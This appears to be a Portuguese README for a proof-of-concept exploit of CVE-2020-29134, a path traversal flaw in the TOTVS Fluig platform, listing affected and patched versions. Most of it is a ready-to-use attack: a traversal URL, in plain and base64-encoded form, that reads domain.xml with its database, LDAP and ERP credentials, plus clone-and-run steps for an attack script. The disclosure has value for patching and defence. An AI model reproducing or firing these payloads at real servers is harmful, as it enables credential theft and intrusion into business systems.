Fluig é a plataforma de produtividade e colaboração que integra com o sistema ERP,
 e os outros sistemas da sua empresa para revolucionar a forma como você e sua equipe trabalham.

 A plataforma TOTVS Fluig permite path traversal via parâmetro codificado em base64.
 Quando explorada, essa vulnerabilidade permite a leitura de arquivos XML sensíveis, que contêm
 dados para acessar o banco de dados e, em alguns casos, conexões LDAP e integrações com sistemas ERP.
 Além disso, também é possível explorar arquivos do sistema, como /etc/passwd e /root/.bash_history.
 

--
<== Fluig Lake 1.7.0
<== Fluig 1.6.5
<== Fluig 1.6.4
...

<== Fluig Lake 1.7.0-210303 (Corrigida)
<== Fluig 1.6.5-210308 (Corrigida)
<== Fluig 1.6.4-210308 (Corrigida)

 http://fluig.host.com/volume/stream/Rmx1aWc=/

 ?t=1&vol=Default&id=1&ver=1000&file=../../../../../../../../../../../../../fluig/appserver/domain/configuration/domain.xml

 P3Q9MSZ2b2w9RGVmYXVsdCZpZD0xJnZlcj0xMDAwJmZpbGU9Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmx1aWcvYXBwc2VydmVyL2RvbWFpbi9jb25maWd1cmF0aW9uL2RvbWFpbi54bWw=

 http://HOST.FLUIG.COM/volume/stream/Rmx1aWc=/P3Q9MSZ2b2w9RGVmYXVsdCZpZD0xJnZlcj0xMDAwJmZpbGU9Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZmx1aWcvYXBwc2VydmVyL2RvbWFpbi9jb25maWd1cmF0aW9uL2RvbWFpbi54bWw=
 

 https://www.exploit-db.com/exploits/49622

 

 # git clone https://github.com/lucxssouza/CVE-2020-29134.git
 # cd CVE-2020-29134
 # chmod +x xfluig.sh

 Ex1: ./xfluig.sh http://fluig.host.com REQUESTS_WFUZZ (número de requisições geradas pelo wfuzz)

 Ex2: ./xfluig.sh http://fluig.host.com:PORT